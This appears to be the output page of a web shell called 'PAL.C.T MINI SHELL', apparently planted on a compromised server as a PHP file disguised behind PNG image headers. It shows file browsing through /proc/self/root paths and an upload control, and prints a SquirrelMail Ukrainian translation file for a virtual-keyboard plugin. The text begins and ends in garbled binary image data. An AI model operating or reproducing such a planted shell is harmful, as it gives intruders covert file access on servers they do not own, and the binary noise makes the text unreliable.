php  IHDRwQ)Ba pHYs  sRGBgAMA aIDATxMk\Us&uo,mD )Xw+e?tw.oWp;QHZnw`gaiJ9̟灙a=nl[ ʨG;@ q$ w@H;@ q$ w@H;@ q$ w@H;@ q$ w@H;@ q$ w@H;@ q$ w@H;@ q$ w@H;@ q$y H@E7j 1j+OFRg}ܫ;@Ea~ j`u'o> j-$_q?qSXzG'ay

PAL.C.T MINI SHELL
files >> /proc/self/root/proc/self/root/usr/share/squirrelmail/locale/uk_UA/LC_MESSAGES/
upload
files >> //proc/self/root/proc/self/root/usr/share/squirrelmail/locale/uk_UA/LC_MESSAGES/vkeyboard.po

# Ukrainian translation of SquirrelMail vkeyboard plugin
# Copyright (c) 2006-2009 The SquirrelMail Project Team
# Serhij Dubyk <dubyk@library.lviv.ua>, 2006
# $Id: vkeyboard.po 13696 2009-05-14 06:27:08Z jervfors $
msgid ""
msgstr ""
"Project-Id-Version: \n"
"POT-Creation-Date: 2004-08-20 17:38-0300\n"
"PO-Revision-Date: 2006-04-18 21:08+0200\n"
"Last-Translator: Serhij Dubyk <dubyk@library.lviv.ua>\n"
"Language-Team: \n"
"MIME-Version: 1.0\n"
"Content-Type: text/plain; charset=utf-8\n"
"Content-Transfer-Encoding: 8bit\n"
"X-Poedit-Language: Ukrainian\n"
"X-Poedit-Country: UKRAINE\n"
"X-Poedit-SourceCharset: utf-8\n"

#: vkeyboard.php:115
msgid " seconds."
msgstr " секунд."

#: functions.php:49
msgid "Are you using a public computer?"
msgstr "Ви використовуєте загальний комп'ютер?"

#: vkeyboard.php:161
msgid "Clear"
msgstr "Очистити"

#: vkeyboard.php:166
msgid "Close"
msgstr "Закрити"

#: functions.php:51
msgid "Enter your password with the "
msgstr "Введіть свій пароль з допомогою "

#: vkeyboard.php:107
msgid "Enter your password:"
msgstr "Введіть свій пароль:"

#: help.php:60
msgid "For this, you must point the mouse and keep it for few seconds on the key that you want to type."
msgstr "Для цього, Вам необхідно підвести мишку і потримати протягом декількох секунд на клавіші, яку Ви хочете набрати."

#: vkeyboard.php:109
msgid "Help"
msgstr "Довідка"

#: help.php:56
msgid "It protects your password against keyloggers, which are hidden programs that capture everything that you type or click."
msgstr "Вона захищає Ваш пароль проти клавіатурних підслуховувачів, які є прихованими програмами і фіксують усе, що Ви набираєте або ж натискаєте."

#: help.php:54
msgid "It's a keyboard that simulates a real keyboard. ;)"
msgstr "Це - клавіатура, яка симулює реальну клавіатуру. ;)"

#: vkeyboard.php:156
msgid "Login"
msgstr "Вхід"

#: functions.php:61
msgid "Open Virtual Keyboard"
msgstr "Відкрити віртуальну клавіатуру"

#: help.php:58
msgid "So, you can increase your security, using the virtual keyboard and its \"automatic click\" function."
msgstr "Отже, Ви можете збільшити свій захист, використовуючи віртуальну клавіатуру та її функцію \"автоматичного клацання\"."

#: vkeyboard.php:113
msgid "The key will be pressed in "
msgstr "Клавіша натиснута протягом"

#: vkeyboard.php:52
msgid "Virtual Keyboard"
msgstr "Віртуальна клавіатура"

#: help.php:46
msgid "Virtual Keyboard: Help"
msgstr "Віртуальна клавіатура - довідка"

#: help.php:51
msgid "What's a virtual keyboard?"
msgstr "Що таке - віртуальна клавіатура?"

#: functions.php:56
msgid "virtual keyboard"
msgstr "віртуальної клавіатури"

y~or5J={Eeu磝QkᯘG{?+]ן?wM3X^歌>{7پK>on\jyR g/=fOroNVv~Y+NGuÝHWyw[eQʨSb>>}Gmx[o[<{Ϯ_qF vMIENDB`